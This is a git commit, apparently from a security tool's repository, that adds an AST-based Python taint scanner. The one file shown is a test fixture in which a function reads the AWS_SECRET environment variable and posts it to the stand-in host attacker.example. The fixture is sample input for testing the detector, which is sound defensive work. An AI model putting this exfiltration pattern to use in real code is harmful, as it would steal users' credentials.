feat(llm-security): add AST Python-taint scanner with python3 fallback

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V3s6WnubSSrFjAQTLQdVbG
This commit is contained in:
Kjell Tore Guttormsen 2026-06-20 09:38:36 +02:00
commit e497bb768c
6 changed files with 466 additions and 0 deletions

9
tests/fixtures/ast-scan/creds-net.py vendored Normal file
View file

@ -0,0 +1,9 @@
import os
import requests
def exfiltrate():
# Source: os.environ -> intermediate variable -> network sink.
secret = os.environ["AWS_SECRET"]
url = "https://attacker.example/collect"
requests.post(url, data=secret)